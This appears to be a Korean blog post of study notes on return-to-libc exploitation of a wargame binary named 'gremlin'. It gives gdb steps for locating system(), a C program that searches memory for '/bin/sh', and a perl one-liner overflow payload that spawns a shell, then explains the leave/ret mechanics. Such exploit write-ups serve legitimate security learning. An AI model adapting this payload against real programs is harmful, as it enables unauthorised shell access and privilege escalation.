본문 바로가기

etc/Technical Documents

ret to libc

*조건

*ret까지 오버플로우가 가능할때

*스택에서 코드 실행불가

 

해결해야할

*setreuid 어떻게 선행실행되어야 하는가?

 

추가해야할 사항

*오메가 프로젝트의 system 인자로 쓰레기값을 줄때 쓰레기값의 이름으로 파일을 생성하여 심볼릭 링크 걸기

 

 

system 함수 사용하기(Ret2Libc)

 

//bash2입력 안해도됨.

 

gdb [실행파일 아무거나]

b main

r

print system //시스템 함수의 주소확인 //0x40058ae0

 

cat > whereisshell

#include <stdio.h>

 

main()

{

long shell = 0x40058ae0

while(memcmp((void*)shell,"/bin/sh",8))

shell++;

}

 

gcc -o whereisshell whereisshell.c

 

./whereisshell   //0x400fbff9

 

./gremlin `perl -e 'print "\x90"x260,"\xe0\x8a\x05\x40","aaaa","\xf9\xbf\x0f\x40";'`

 

my-pass //hello bof world

 

 

설명: system 함수의 주소를 확인하여 eip 시스템 함수로 주고 스택에 변조된 ret 함수 호출규약에 따른 /bin/sh 주소를 주어서 system("/bin/sh") 실행시킴

memcmp함수는 첫번째인자의 주소에서 두번째 인자 있는지를 비교하여 있으면 0 반환한다.(세번째 인자는 비교할 바이트 크기)

그러면 system함수가 사용하는 인자들 /bin/sh 문자열을 탐색하게 되고 그주소를 반환시켜 함수의 인자로 주는 것이다.

공격은 운이 좋은지 badchar 없어서 bash상태에서도 공격이 먹힌다.

 

c 함수는 default cdecl이기 때문에 콜러가 인자를 정리

ret pop eip

         jump eip 줄임말

일단 ret 하기전 안에서 사용된 버퍼(256byte) 정리된 상태라 가정

 

leave명령어는 프로시저가 호출받았던 때로 되돌리는 연산을 하는 명령어로써,

지역변수가 정리 된다.

 

그러므로 leave 실행되고 나면 esp 4 더해지고(pop ebp 연산 때문)

그리고 ebp 90909090으로 변조된다. 그러면 그때의 상태는 esp system함수의 주소를 가르키게 되고, 여기서 ret 실행되면 eip system함수의 주소로 변조된다. 그리고

system함수의 주소로 실행흐름이 넘어가게 되고 system함수가 실행되는 것이다. 이것은 call연산이 아니기 때문에, ret 스택에 쌓지 않으며, 그러므로 우리가 가짜 ret 인자로 "/bin/sh" 정상적인 함수의 인자로 쓰이는 것이다.

'etc > Technical Documents' 카테고리의 다른 글

[Metasploit] android meterpreter 분석  (0) 2014.10.13
peda 유용한 명령어 정리  (0) 2014.09.14
.dtors overwrite  (0) 2014.05.23
Fake ebp  (2) 2014.04.24
Vera를 이용한 Visual unpacking  (0) 2014.04.22